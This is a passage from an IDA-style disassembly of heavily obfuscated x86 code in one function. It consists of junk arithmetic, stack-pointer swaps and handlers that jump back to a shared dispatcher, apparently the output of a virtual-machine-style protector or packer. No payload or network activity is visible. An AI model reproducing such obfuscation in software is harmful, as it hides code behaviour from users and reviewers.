esp, 4 push edx jmp loc_59018C ; --------------------------------------------------------------------------- loc_58E07C: ; CODE XREF: sub_581EE9+7A99j mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp-6E8Ah+arg_6E80+2] jmp loc_58AA31 ; --------------------------------------------------------------------------- loc_58E092: ; CODE XREF: sub_581EE9+D210j mov ebx, 4 jmp loc_58DE92 ; --------------------------------------------------------------------------- loc_58E09C: ; CODE XREF: sub_581EE9+75F6j mov eax, [esp-6EFEh+arg_6EF6] add esp, 4 add edx, 79C3515Fh jmp loc_58A3A4 ; --------------------------------------------------------------------------- loc_58E0AD: ; CODE XREF: sub_581EE9+6D0Cj mov esi, 2FE69DFBh add edi, 0BC712E3h sub edi, esi sub edi, 0BC712E3h pop esi mov ecx, edi pop edi or ecx, 490C55ACh sub ecx, 1 push edi push eax mov eax, 0 push eax jmp loc_591926 ; --------------------------------------------------------------------------- loc_58E0DD: ; CODE XREF: sub_581EE9+4AE1j mov ecx, edx mov edx, [esp-6ECAh+arg_6EC2] add esp, 4 jmp loc_5880FC ; --------------------------------------------------------------------------- loc_58E0ED: ; CODE XREF: sub_581EE9+AA27j pop edx push ebp push 7998h mov [esp-6ECAh+arg_6EC2], eax push 1E854EBBh pop eax sub eax, 1E854EB7h push eax pop ebp pop eax add ecx, ebp jmp loc_58C554 ; --------------------------------------------------------------------------- loc_58E10C: ; CODE XREF: sub_581EE9+6C0Bj mov [esp-6EF2h+arg_6EE8+2], esi mov esi, 7631115h sub [esp-6EF2h+arg_6EF0+2], esi pop esi mov ebx, [esp-6EF6h+arg_6EEC+2] sub esp, 4 mov [esp-6EF2h+arg_6EE8+2], esi jmp loc_58F431 ; --------------------------------------------------------------------------- loc_58E127: ; CODE XREF: sub_581EE9+D8E3j mov eax, 33FB300Bh inc eax not eax shr eax, 8 jmp loc_58BFCD ; --------------------------------------------------------------------------- loc_58E137: ; CODE XREF: sub_581EE9+7D73j mov [esp-6ED8h+arg_6ECE+2], ecx jmp loc_586554 ; --------------------------------------------------------------------------- loc_58E13F: ; DATA XREF: sub_581EE9+3CFBo mov ax, word ptr [esp-6ED8h+arg_6ECE+2] jmp loc_591817 ; --------------------------------------------------------------------------- loc_58E148: ; CODE XREF: sub_581EE9+D38Ej add ecx, 4 sub ecx, 4 xchg ecx, [esp-6ED8h+arg_6ECE+2] pop esp mov [esp-6EDCh+arg_6ED2+2], ebp jmp loc_58DA89 ; --------------------------------------------------------------------------- loc_58E15D: ; CODE XREF: sub_581EE9+6445j shr edi, 2 dec edi xchg esi, edi jmp loc_58694C ; --------------------------------------------------------------------------- loc_58E168: ; CODE XREF: sub_581EE9+A004j mov ebp, edx pop edx shr ebp, 8 neg ebp sub ebp, 0B728D0F7h jmp loc_58A900 ; --------------------------------------------------------------------------- loc_58E17B: ; CODE XREF: sub_581EE9+6348j add ecx, 0C6238D7h sub ecx, 0CE979DDh sub edx, 1DD1F87h add edx, ecx add edx, 1DD1F87h pop ecx shr edx, 8 push edi mov edi, 0DA35FD4h xor edx, edi pop edi jmp loc_59106F ; --------------------------------------------------------------------------- loc_58E1A7: ; CODE XREF: sub_581EE9+401Fj pop ebp jmp loc_58D6D6 ; --------------------------------------------------------------------------- loc_58E1AD: ; CODE XREF: sub_581EE9+5452j mov ebx, edi pop edi add eax, ebx jmp loc_591982 ; --------------------------------------------------------------------------- loc_58E1B7: ; CODE XREF: sub_581EE9+74C4j add esp, 4 push dx push eax mov ah, 24h shl ah, 1 inc ah or ah, 6Bh jmp loc_5883AF ; --------------------------------------------------------------------------- loc_58E1CB: ; CODE XREF: sub_581EE9+854Bj neg esi xor esi, 1143C8D9h add edi, esi mov esi, [esp-6EB6h+arg_6EAC+2] jmp loc_58ADCF ; --------------------------------------------------------------------------- loc_58E1DD: ; CODE XREF: sub_581EE9+AE5Cj sub esi, ebp mov ebp, [esp-6EF6h+arg_6EEC+2] push edx mov edx, esp jmp loc_589839 ; --------------------------------------------------------------------------- loc_58E1EA: ; DATA XREF: sub_581EE9+3CA3o pop dword ptr [edx] jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_58E1F1: ; CODE XREF: sub_581EE9+F0D3j neg edx push 5F25h jmp loc_58D916 ; --------------------------------------------------------------------------- loc_58E1FD: ; CODE XREF: sub_581EE9+F539j add esp, 4 jmp loc_58A609 ; --------------------------------------------------------------------------- loc_58E208: ; CODE XREF: sub_581EE9+8F55j add eax, edx add eax, 4393962h push [esp-6ED2h+arg_6ECA] push [esp-6ECEh+arg_6EC6] jmp loc_58C3E5 ; --------------------------------------------------------------------------- loc_58E21A: ; CODE XREF: sub_581EE9+FCBBj mov ecx, [esp-6ECAh+arg_6EC2] jmp loc_58C060 ; --------------------------------------------------------------------------- loc_58E222: ; CODE XREF: sub_581EE9+8D2Fj pop ebp add edx, 5F9C7DD6h jmp loc_58B330 ; --------------------------------------------------------------------------- loc_58E22E: ; CODE XREF: sub_581EE9+5B23j add edi, eax sub edi, 7481451h pop eax push 3F1Dh mov [esp-6EACh+arg_6EA4], edi push [esp-6EACh+arg_6EA8] pop edi pop [esp-6EACh+arg_6EA4] mov esp, [esp-6EB0h+arg_6EA8] shr eax, 12h xor eax, ecx sub esp, 4 mov [esp-6EACh+arg_6EA4], eax push 5B1Bh mov [esp-6EA8h+arg_6E9E+2], ebp push [esp-6EA8h+arg_6E9E+2] jmp loc_58D00E ; --------------------------------------------------------------------------- loc_58E268: ; CODE XREF: sub_581EE9+5B73j push ebp jmp loc_58C858 ; --------------------------------------------------------------------------- loc_58E26E: ; CODE XREF: sub_581EE9+95CEj push eax mov eax, 5CC06B15h inc eax inc eax sub esp, 4 mov [esp-6EB0h+arg_6EA8], edi mov edi, 455E5823h jmp loc_587117 ; --------------------------------------------------------------------------- loc_58E286: ; CODE XREF: sub_581EE9+B39Ej push ecx jmp loc_58D9DE ; --------------------------------------------------------------------------- loc_58E28C: ; DATA XREF: sub_581EE9+3D83o mov cx, word ptr [esp-6EF0h+arg_6EE8] push ecx push esp mov ecx, [esp-6EE8h+arg_6EE0] add esp, 4 push edi mov edi, 4DF32209h add edi, 4F646EF7h push esi mov esi, 0E8E3313h neg esi sub esi, 0BACB9ABFh xor edi, esi pop esi neg edi sub edi, 0FFFFFFFFh push eax mov eax, 4E9D7786h jmp loc_58DFAE ; --------------------------------------------------------------------------- loc_58E2C5: ; CODE XREF: sub_581EE9+D8A0j push 5ABA4E05h pop esi neg esi push eax mov eax, 19C32202h sub esi, eax jmp loc_58F9A7 ; --------------------------------------------------------------------------- loc_58E2DA: ; CODE XREF: sub_581EE9+DDE7j mov [esp-6EE0h+arg_6ED6+2], eax push edx pop eax mov edx, [esp-6EE0h+arg_6ED6+2] sub esp, 4 mov [esp-6EDCh+arg_6ED2+2], ebp mov ebp, esp jmp loc_587C28 ; --------------------------------------------------------------------------- loc_58E2EF: ; CODE XREF: sub_581EE9+DE3Cj inc ecx xor ecx, 0FC86646Ah sub eax, ecx pop ecx add eax, ebx add eax, 73D95B18h push [esp-6EE0h+arg_6ED6+2] pop ebx add esp, 4 push 5B7Dh mov [esp-6EE0h+arg_6ED6+2], ebp jmp loc_58A58D ; --------------------------------------------------------------------------- loc_58E317: ; CODE XREF: sub_581EE9+D2AEj push ecx push 0 jmp loc_58A682 ; --------------------------------------------------------------------------- loc_58E322: ; CODE XREF: sub_581EE9+40A3j xchg eax, ecx jmp loc_58A723 ; --------------------------------------------------------------------------- loc_58E328: ; CODE XREF: sub_581EE9+66E0j push esp pop esi push ebx push esi mov esi, 25657F5Ah sub esp, 4 mov [esp-6EBAh+arg_6EB2], ecx mov ecx, 25B26AACh xor ecx, 0D715F2h mov ebx, ecx pop ecx sub ebx, esi pop esi add esi, ebx jmp loc_587C60 ; --------------------------------------------------------------------------- loc_58E34F: ; CODE XREF: sub_581EE9+BA9Dj sub esi, 3D23483Dh push ecx mov ecx, 6F492591h add esi, 4B9623B4h sub esi, ecx sub esi, 4B9623B4h mov ecx, [esp-6EB6h+arg_6EAC+2] add esp, 4 push ebp mov ebp, 3EEC1D2Ah mov ebx, 0EE158B5h xor ebx, ebp pop ebp add ebx, 169F4F1Eh push ebx jmp loc_58BA40 ; --------------------------------------------------------------------------- loc_58E389: ; CODE XREF: sub_581EE9+7D4Cj mov [esp-6EC8h+arg_6EBE+2], edx mov edx, 4 push ebx mov ebx, 28641A6Dh add esi, ebx pop ebx sub esi, 2F4D1119h add esi, 250B2465h sub esi, edx sub esi, 250B2465h add esi, 2F4D1119h jmp loc_590759 ; --------------------------------------------------------------------------- loc_58E3B9: ; DATA XREF: sub_581EE9+3B2Bo push dword ptr [edi+1Ch] popf pop eax sbb [esp-6ECCh+arg_6EC2+2], eax pushf jmp loc_59026C ; --------------------------------------------------------------------------- loc_58E3C7: ; CODE XREF: sub_581EE9+8A5Ej push 7064h mov [esp-6ED4h+arg_6ECA+2], ecx mov ch, 0D1h and ch, 69h jmp loc_589121 ; --------------------------------------------------------------------------- loc_58E3D9: ; CODE XREF: sub_581EE9+4E45j xor [esp-6ECAh+arg_6EC2], ebp jmp loc_586B51 ; --------------------------------------------------------------------------- loc_58E3E1: ; CODE XREF: sub_581EE9+FA94j sub esp, 4 mov [esp-6EC6h+arg_6EBE], edx mov edx, esp add edx, 4 push esi mov esi, 4 jmp loc_590FC1 ; --------------------------------------------------------------------------- loc_58E3FD: ; CODE XREF: sub_581EE9+4632j sub ebx, 3090B4BFh add edi, ebx jmp loc_58EA61 ; --------------------------------------------------------------------------- loc_58E40A: ; CODE XREF: sub_581EE9+817Bj mov bh, 44h xor bh, 73h push eax mov al, 38h sub bh, al pop eax add al, 94h sub al, 0Dh sub al, bh add al, 0Dh sub al, 94h pop ebx mov cl, al pop eax jmp loc_58F38B ; --------------------------------------------------------------------------- loc_58E428: ; CODE XREF: sub_581EE9+A050j and edx, esi pop esi sub esp, 4 mov [esp-6ED6h+arg_6ECE], esi mov esi, 253B66A1h xor esi, 59E545A0h and esi, 60AE50A8h and esi, 78893AACh inc esi sub esi, 0F898B2F0h jmp loc_5861DC ; --------------------------------------------------------------------------- loc_58E457: ; DATA XREF: sub_581EE9+3B3Bo mov cx, word ptr [esp-6ED6h+arg_6ECE] push 591Eh mov [esp-6ED2h+arg_6ECA], ebp push esp pop ebp jmp loc_58F7F8 ; --------------------------------------------------------------------------- loc_58E46A: ; CODE XREF: sub_581EE9+3E78j pop eax xchg ebx, [esp-6ED8h+arg_6ECE+2] pop esp push ebx mov ebx, 4 add edx, ebx pop ebx add edx, 2 xor edx, [esp-6EDCh+arg_6ED2+2] xor [esp-6EDCh+arg_6ED2+2], edx xor edx, [esp-6EDCh+arg_6ED2+2] mov esp, [esp-6EDCh+arg_6ED2+2] mov ax, word ptr [esp-6EDCh+arg_6ED2+2] push eax push esp jmp loc_58AB04 ; --------------------------------------------------------------------------- loc_58E492: ; CODE XREF: sub_581EE9+8F1Cj add ebp, 4 xchg ebp, [esp-6EDEh+arg_6ED6] pop esp shl eax, 3 jmp loc_5885F0 ; --------------------------------------------------------------------------- loc_58E4A1: ; CODE XREF: sub_581EE9+E7B0j add edi, 388503DBh push ebp push ecx mov ecx, 1B185F5Fh push ecx sub [esp-6ED6h+arg_6ECE], 0E7C5A16h jmp loc_58B837 ; --------------------------------------------------------------------------- loc_58E4BB: ; CODE XREF: sub_581EE9+5EAEj add ebx, edi pop edi add ebx, 4 xchg ebx, [esp-6EE0h+arg_6ED6+2] pop esp jmp loc_58880B ; --------------------------------------------------------------------------- loc_58E4CA: ; CODE XREF: sub_581EE9+6E24j mov [esp-6EAEh+arg_6EA4+2], esp jmp loc_585D4E ; --------------------------------------------------------------------------- loc_58E4D2: ; CODE XREF: sub_581EE9+6BD7j jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_58E4D7: ; CODE XREF: sub_581EE9+55DDj xchg edx, [esp-6ECAh+arg_6EC2] pop esp jmp loc_59042F ; --------------------------------------------------------------------------- loc_58E4E0: ; CODE XREF: sub_581EE9+F705j movzx ax, byte ptr [eax] push small 5913h mov word ptr [esp-6ECCh+arg_6EC2+2], ax jmp loc_587C8E ; --------------------------------------------------------------------------- loc_58E4F1: ; CODE XREF: sub_581EE9+B8D3j sub ebx, edi pop edi add ebx, eax add ebx, 7957448Fh push edi mov edi, 32D05DDBh jmp loc_58D588 ; --------------------------------------------------------------------------- loc_58E507: ; CODE XREF: sub_581EE9+8106j add edx, esi pop esi jmp loc_58C252 ; --------------------------------------------------------------------------- loc_58E50F: ; CODE XREF: sub_581EE9+56FEj or ebx, 690E1531h push ecx mov ecx, 28184883h not ecx add ecx, 7193B8C8h xor ebx, ecx mov ecx, [esp-6F0Ah+arg_6F02] add esp, 4 jmp loc_58F634 ; --------------------------------------------------------------------------- loc_58E533: ; CODE XREF: sub_581EE9+93ADj mov ecx, edi pop edi and ecx, 157B59D8h sub ecx, 10785116h push ecx jmp loc_58AD7D ; --------------------------------------------------------------------------- loc_58E548: ; CODE XREF: sub_581EE9+C15Dj add edx, 41AA6475h push [esp-6E8Ch+arg_6E84] jmp loc_5916BC ; --------------------------------------------------------------------------- loc_58E556: ; CODE XREF: sub_581EE9+9BE9j and bh, 0C3h neg bh neg bh jmp loc_589146 ; --------------------------------------------------------------------------- loc_58E562: ; DATA XREF: sub_581EE9+3B0Fo sub esp, 4 mov [esp-6ECEh+arg_6EC6], eax mov eax, esp add eax, 4 sub eax, 4 jmp loc_58B82F ; --------------------------------------------------------------------------- loc_58E579: ; CODE XREF: sub_581EE9+9423j push esp pop esi add esi, 4 jmp loc_591B46 ; --------------------------------------------------------------------------- loc_58E586: ; CODE XREF: sub_581EE9+DF66j pop ecx push ebx mov ebx, 3930347Fh sub ebx, 2D0B101Ah xor ebx, 26D33073h shl ebx, 3 add ebx, 6A0540DDh jmp loc_58D98B ; --------------------------------------------------------------------------- loc_58E5A7: ; CODE XREF: sub_581EE9+534Cj sub edx, 0CA5192Bh pop ecx add edx, eax sub edx, 50672503h pop eax add edx, 2 push edx push [esp-6EFEh+arg_6EFA] pop edx pop [esp-6EFEh+arg_6EF6] mov esp, [esp-6F02h+arg_6EFA] jmp loc_587189 ; --------------------------------------------------------------------------- loc_58E5CE: ; CODE XREF: sub_581EE9+E748j jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_58E5D3: ; CODE XREF: sub_581EE9+E177j pop esp jmp loc_590670 ; --------------------------------------------------------------------------- loc_58E5D9: ; CODE XREF: sub_581EE9+BED1j mov edi, 53A85654h jmp loc_58D5E1 ; --------------------------------------------------------------------------- loc_58E5E3: ; CODE XREF: sub_581EE9+6295j push ecx jmp loc_58C461 ; --------------------------------------------------------------------------- loc_58E5E9: ; CODE XREF: sub_581EE9+50D9j mov ebp, [esp-6EFEh+arg_6EF6] jmp loc_58C395 ; --------------------------------------------------------------------------- loc_58E5F1: ; CODE XREF: sub_581EE9+4E1Ej push edx mov edx, 409F4AE2h add edx, 32D70065h dec edx shr edx, 6 add edx, 404C61C2h sub edx, 421A3AEBh add esi, edx pop edx push edi mov edi, 4 push edx mov edx, 38724267h add edx, 0D9B0F158h add esi, 742E24E1h jmp loc_58DAD9 ; --------------------------------------------------------------------------- loc_58E62D: ; CODE XREF: sub_581EE9+9240j mov edx, 4 add ecx, edx mov edx, [esp-6EF2h+arg_6EE8+2] add esp, 4 sub esp, 4 mov [esp-6EF2h+arg_6EE8+2], edi mov edi, 2 jmp loc_588A9B ; --------------------------------------------------------------------------- loc_58E64D: ; CODE XREF: sub_581EE9+BDAAj push 86h mov [esp-6EC4h+arg_6EBA+2], ebx mov bl, 2 add bl, 0BCh not bl push ecx mov cl, bl not cl jmp loc_586656 ; --------------------------------------------------------------------------- loc_58E666: ; CODE XREF: sub_581EE9+81D2j add edx, 611383D9h add ecx, 38236B3Fh jmp loc_5867A6 ; --------------------------------------------------------------------------- loc_58E677: ; CODE XREF: sub_581EE9+4577j pop ebp jmp loc_58E9B7 ; --------------------------------------------------------------------------- loc_58E67D: ; CODE XREF: sub_581EE9+6014j pop edx jmp loc_589C9D ; --------------------------------------------------------------------------- loc_58E683: ; CODE XREF: sub_581EE9+695Dj pop ebp xchg edi, [esp-6ECAh+arg_6EC2] pop esp mov [esp-6ECEh+arg_6EC6], edx mov dx, 4D88h shr dx, 3 sub dx, 0C9D3h and bp, dx mov edx, [esp-6ECEh+arg_6EC6] jmp loc_58CD79 ; --------------------------------------------------------------------------- loc_58E6A3: ; CODE XREF: sub_581EE9+9588j pop ecx sub edi, 0C2F7A801h jmp loc_589624 ; --------------------------------------------------------------------------- loc_58E6AF: ; CODE XREF: sub_581EE9+A308j pop esi xor esi, 1AA820F3h push eax mov eax, 3BA9750Ah not eax inc eax jmp loc_586EBB ; --------------------------------------------------------------------------- loc_58E6C4: ; CODE XREF: sub_581EE9+A69Dj xor [esp-6EA4h+arg_6E9A+2], 75944CABh jmp loc_58DFC2 ; --------------------------------------------------------------------------- loc_58E6D0: ; CODE XREF: sub_581EE9+A7C0j mov edi, [esp-6EBCh+arg_6EB2+2] add esp, 4 jmp loc_58F80B ; --------------------------------------------------------------------------- loc_58E6DE: ; CODE XREF: sub_581EE9+642Aj push small 756Eh mov word ptr [esp-6ED8h+arg_6ECE+2], bx mov bh, 89h xor dh, bh pop bx xor al, dh push [esp-6EDAh+arg_6ED2] jmp loc_58CB55 ; --------------------------------------------------------------------------- loc_58E6F6: ; DATA XREF: sub_581EE9+3B1Bo push eax mov eax, esp add eax, 4 jmp loc_589C4A ; --------------------------------------------------------------------------- loc_58E703: ; CODE XREF: sub_581EE9+825Aj mov ebx, 4 add edx, ebx pop ebx xchg edx, [esp-6EC4h+arg_6EBA+2] jmp loc_58F77D ; --------------------------------------------------------------------------- loc_58E713: ; CODE XREF: sub_581EE9+D973j pop [esp-6EC4h+arg_6EBA+2] pop esp xor ebx, eax jmp loc_589026 ; --------------------------------------------------------------------------- loc_58E71E: ; CODE XREF: sub_581EE9+501Dj mov [esp-6EB0h+arg_6EA8], ebp mov ebp, 3EF05092h shr ebp, 6 and ebp, 5B9B694Ah sub ebp, 9B4140h sub esi, 2DDD2EACh add esi, ebp jmp loc_5861E9 ; --------------------------------------------------------------------------- loc_58E742: ; CODE XREF: sub_581EE9+EF97j sub esp, 4 jmp loc_58CAA4 ; --------------------------------------------------------------------------- loc_58E74A: ; CODE XREF: sub_581EE9+A0D6j mov edi, 4 add esi, edi pop edi xchg esi, [esp-6ECEh+arg_6EC6] pop esp pop [esp-6ED2h+arg_6ECA] mov esp, [esp-6ED6h+arg_6ECE] inc [esp-6ED6h+arg_6ECE] pushf jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_58E765: ; CODE XREF: sub_581EE9+FA86j push 0CF11649h pop edi jmp loc_589E35 ; --------------------------------------------------------------------------- loc_58E770: ; CODE XREF: sub_581EE9+4939j sub eax, ebx sub eax, 1F37721h mov ebx, [esp-6EBCh+arg_6EB2+2] push ecx mov ecx, esp jmp loc_58B07F ; --------------------------------------------------------------------------- loc_58E782: ; CODE XREF: sub_581EE9+67ADj and edi, 69A4C1Fh jmp loc_58F19C ; --------------------------------------------------------------------------- loc_58E78D: ; CODE XREF: sub_581EE9+ED40j mov ecx, 47B40E6h push ecx add [esp-6EE4h+arg_6EDC], 40AF16B9h pop eax sub eax, 40AF16B9h pop ecx add [esp-6EECh+arg_6EE8], eax jmp loc_58F966 ; --------------------------------------------------------------------------- loc_58E7AA: ; CODE XREF: sub_581EE9+D16Fj mov eax, 0BE255DEh mov edx, 35CE8ED2h jmp loc_587F5D ; --------------------------------------------------------------------------- loc_58E7B9: ; CODE XREF: sub_581EE9+4D6Fj xor esi, [esp-6ED8h+arg_6ECE+2] xor [esp-6ED8h+arg_6ECE+2], esi xor esi, [esp-6ED8h+arg_6ECE+2] mov esp, [esp-6ED8h+arg_6ECE+2] mov [esp-6ED8h+arg_6ECE+2], esi mov eax, [esp-6ED8h+arg_6ECE+2] add esp, 4 jmp loc_58C8B6 ; --------------------------------------------------------------------------- loc_58E7D3: ; CODE XREF: sub_581EE9+699Bj mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp-6EB6h+arg_6EAC+2] pop esp jmp loc_58753D ; --------------------------------------------------------------------------- loc_58E7E7: ; CODE XREF: sub_581EE9+E13Dj pop esp imul cx, ax push cx pushf jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_58E7F4: ; CODE XREF: sub_581EE9+5047j add eax, 557C36BEh jmp loc_58D90A ; --------------------------------------------------------------------------- loc_58E7FE: ; CODE XREF: sub_581EE9+90BFj sub esp, 4 mov [esp-6EEAh+arg_6EE0+2], ebp mov ebp, 4 sub esi, 3FE21FA4h sub esi, ebp jmp loc_58DAC3 ; --------------------------------------------------------------------------- loc_58E819: ; CODE XREF: sub_581EE9+972Fj xor [esp-6ECAh+arg_6EC2], edx xor edx, [esp-6ECAh+arg_6EC2] mov esp, [esp-6ECAh+arg_6EC2] bts word ptr [esp-6ECAh+arg_6EC2], ax pushf jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_58E82D: ; CODE XREF: sub_581EE9+B5EFj pop esp and [esp+0], ax pushf jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_58E838: ; CODE XREF: sub_581EE9+9238j mov edi, 4 sub ecx, 578B5A71h add ecx, edi jmp loc_58D025 ; --------------------------------------------------------------------------- loc_58E84A: ; CODE XREF: sub_581EE9+417Bj pop cx add al, dl sub al, 2Eh jmp loc_58D21E ; --------------------------------------------------------------------------- loc_58E855: ; CODE XREF: sub_581EE9+BBC3j xor ebp, [esp-6EE8h+arg_6EE0] mov esp, [esp-6EE8h+arg_6EE0] sub ecx, 546E5614h mov eax, [esp-6EE8h+arg_6EE0] add esp, 4 push 2FDAh mov [esp-6EE8h+arg_6EE0], edx jmp loc_58EA7D ; --------------------------------------------------------------------------- loc_58E877: ; CODE XREF: sub_581EE9+CF8Bj shl ebp, 7 jmp loc_58C505 ; --------------------------------------------------------------------------- loc_58E87F: ; CODE XREF: sub_581EE9+AEF3j mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp-6EDEh+arg_6ED6] pop esp mov ecx, [esp+0] add esp, 4 jmp loc_587933 ; --------------------------------------------------------------------------- loc_58E89C: ; CODE XREF: sub_581EE9+DC9Ej sub ecx, 74F604Ah neg ecx sub ecx, 589CDE7h add ebp, ecx mov ecx, [esp-6EE6h+arg_6EDC+2] push esi mov esi, esp push ebx mov ebx, 4 add esi, ebx pop ebx add esi, 4 xchg esi, [esp+0] pop esp jmp loc_586FF2 ; --------------------------------------------------------------------------- loc_58E8CA: ; CODE XREF: sub_581EE9+BA46j sub edx, 5F6D5933h pop esi push ebx mov ebx, 35B2327Eh or edx, ebx pop ebx xor edx, 0D2EBE730h sub eax, edx pop edx sub ebx, 66E619BCh add ebx, 1F4A55E6h sub ebx, 42D978EFh jmp loc_590266 ; --------------------------------------------------------------------------- loc_58E8FA: ; CODE XREF: sub_581EE9+6B25j mov ebp, [esp-6EE0h+arg_6ED6+2] add esp, 4 sub ecx, esi pop esi mov eax, [ecx] mov ecx, [esp-6EE8h+arg_6EE0] jmp loc_5860F5 ; --------------------------------------------------------------------------- neg word ptr [esp-6EE8h+arg_6EE0] pushf jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_58E917: ; CODE XREF: sub_581EE9+6178j pop ebx pop edi sub esp, 4 mov [esp-6EC6h+arg_6EBE], esi mov esi, 100E4483h jmp loc_586D33 ; --------------------------------------------------------------------------- loc_58E929: ; CODE XREF: sub_581EE9+5CADj sub edi, 417305B9h jmp loc_5902F7 ; --------------------------------------------------------------------------- loc_58E934: ; CODE XREF: sub_581EE9+72A0j push esp mov ebp, [esp-6EACh+arg_6EA4] sub esp, 4 jmp loc_5884D1 ; --------------------------------------------------------------------------- loc_58E943: ; CODE XREF: sub_581EE9+B4B6j push eax mov eax, 2604BC6h jmp loc_588038 ; --------------------------------------------------------------------------- loc_58E94E: ; CODE XREF: sub_581EE9+6D45j add esp, 4 add ch, 49h add bl, ch mov ecx, [esp-6F10h+arg_6F06+2] push ecx mov ecx, esp add ecx, 4 jmp loc_58AE61 ; --------------------------------------------------------------------------- loc_58E967: ; CODE XREF: sub_581EE9+6860j inc edx jmp loc_58B39F ; --------------------------------------------------------------------------- loc_58E96D: ; CODE XREF: sub_581EE9+BFFFj sub ebx, esi pop esi push esi jmp loc_58A532 ; --------------------------------------------------------------------------- loc_58E976: ; CODE XREF: sub_581EE9+603Cj pop esp mov ax, word ptr [esp-6EEEh+arg_6EE4+2] push ebp mov ebp, esp push eax mov eax, 4E2630F3h dec eax neg eax sub eax, 0B1D9CF0Ah add ebp, eax jmp loc_58C001 ; --------------------------------------------------------------------------- loc_58E993: ; CODE XREF: sub_581EE9+46CAj push edx push 1B840286h pop edx add edi, edx pop edx push edi xchg ebx, [esp-6ED6h+arg_6ECE] not ebx xchg ebx, [esp-6ED6h+arg_6ECE] mov edi, [esp-6ED6h+arg_6ECE] add esp, 4 add edi, 417B3D52h jmp loc_58C5B9 ; --------------------------------------------------------------------------- loc_58E9B7: ; CODE XREF: sub_581EE9+C78Fj add ebp, 0F8490DC5h mov edx, ebp pop ebp sub esi, edx pop edx shr esi, 6 xor esi, 27584AFEh push 62DCh jmp loc_589159 ; --------------------------------------------------------------------------- loc_58E9D6: ; CODE XREF: sub_581EE9+4327j add eax, ecx jmp loc_591103 ; --------------------------------------------------------------------------- loc_58E9DD: ; CODE XREF: sub_581EE9+F7B2j add ebx, edx jmp loc_58F88C ; --------------------------------------------------------------------------- loc_58E9E4: ; CODE XREF: sub_581EE9+65DCj add bl, 4Bh jmp loc_589239 ; --------------------------------------------------------------------------- loc_58E9EC: ; DATA XREF: sub_581EE9+3C13o mov eax, [esp-6EE0h+arg_6ED6+2] sub esp, 4 mov [esp-6EDCh+arg_6ED2+2], esi jmp loc_591BBE ; --------------------------------------------------------------------------- loc_58E9FD: ; CODE XREF: sub_581EE9+BBB5j push 9DEh mov [esp-6EE0h+arg_6ED6+2], eax push edx push esp pop edx jmp loc_590A37 ; --------------------------------------------------------------------------- loc_58EA0D: ; CODE XREF: sub_581EE9+4F52j shl ebx, 2 jmp loc_5902BE ; --------------------------------------------------------------------------- loc_58EA15: ; CODE XREF: sub_581EE9+BEB2j movzx eax, al mov dx, word ptr [esp-6E86h+arg_6E7C+2] push esi sub esp, 4 mov [esp-6E7Eh+arg_6E76], esp add [esp-6E7Eh+arg_6E76], 4 pop esi push 6E5Ch mov [esp-6E7Eh+arg_6E76], eax push ebx mov ebx, 13D7669Bh shr ebx, 3 neg ebx xor ebx, 0FD851329h jmp loc_58745C ; --------------------------------------------------------------------------- loc_58EA49: ; CODE XREF: sub_581EE9+B7CDj mov [esp-6EB2h+arg_6EA8+2], eax mov ax, 5AFDh shl ax, 6 shl ax, 5 add ax, 0CFEh jmp loc_58FE54 ; --------------------------------------------------------------------------- loc_58EA61: ; CODE XREF: sub_581EE9+C51Cj pop ebx xor eax, edi jmp loc_58C2E9 ; --------------------------------------------------------------------------- loc_58EA69: ; CODE XREF: sub_581EE9+4EDAj push ecx mov ecx, esp add ecx, 4 sub ecx, 4 jmp loc_58CE02 ; --------------------------------------------------------------------------- loc_58EA7D: ; CODE XREF: sub_581EE9+C989j sub esp, 4 jmp loc_588621 ; --------------------------------------------------------------------------- loc_58EA85: ; CODE XREF: sub_581EE9+D524j not bl jmp loc_58CED8 ; --------------------------------------------------------------------------- loc_58EA8C: ; CODE XREF: sub_581EE9+D290j push 50F87BC4h mov ecx, [esp-6EE0h+arg_6ED6+2] add esp, 4 push ebx mov ebx, 2322009h and ecx, ebx pop ebx push edx mov edx, 1F613809h jmp loc_58A0A6 ; --------------------------------------------------------------------------- loc_58EAAE: ; CODE XREF: sub_581EE9+A377j mov esp, [esp-6ED6h+arg_6ECE] push ebp push 2E5Bh mov [esp-6ECEh+arg_6EC6], eax mov eax, 6EB01CC0h inc eax not eax jmp loc_58973A ; --------------------------------------------------------------------------- loc_58EAC7: ; CODE XREF: sub_581EE9+8E08j mov eax, esp jmp loc_586570 ; --------------------------------------------------------------------------- loc_58EACE: ; CODE XREF: sub_581EE9+7E64j xor edi, [esp-6EDEh+arg_6ED6] xor [esp-6EDEh+arg_6ED6], edi jmp loc_58A35D ; --------------------------------------------------------------------------- loc_58EAD9: ; CODE XREF: sub_581EE9+83F5j push 4 pop edi add ebx, edi pop edi xchg ebx, [esp-6EC4h+arg_6EBA+2] pop esp push 27F9h mov [esp-6EC4h+arg_6EBA+2], ebx mov bh, 2Dh shl bh, 1 and bh, 2 jmp loc_58C2D3 ; --------------------------------------------------------------------------- loc_58EAFA: ; CODE XREF: sub_581EE9+62A7j xor ecx, 11A0019Eh and eax, ecx pop ecx xor eax, 20540146h jmp loc_58B468 ; --------------------------------------------------------------------------- loc_58EB0D: ; CODE XREF: sub_581EE9+3F60j mov [esp-6ECCh+arg_6EC2+2], edx jmp loc_58F53B ; --------------------------------------------------------------------------- loc_58EB15: ; CODE XREF: sub_581EE9+9A56j mov ebx, esp push eax mov eax, 345B42BEh or eax, 9EC5C8Eh xchg eax, ebx not ebx xchg eax, ebx sub eax, 50B4187Dh xor eax, 61DD5B7Eh push edi push ebp mov ebp, 51594436h mov edi, 0AEA6BBCAh add edi, ebp pop ebp jmp loc_58DA82 ; --------------------------------------------------------------------------- loc_58EB44: ; CODE XREF: sub_581EE9+7A4Bj pop eax xor ebp, 0ACA832E5h add esi, ebp jmp loc_58D99B ; --------------------------------------------------------------------------- loc_58EB52: ; CODE XREF: sub_581EE9+4FE4j shr edi, 7 add edi, 6EC95EE2h jmp loc_588DCF ; --------------------------------------------------------------------------- loc_58EB60: ; CODE XREF: sub_581EE9+8AE8j sub esp, 4 mov 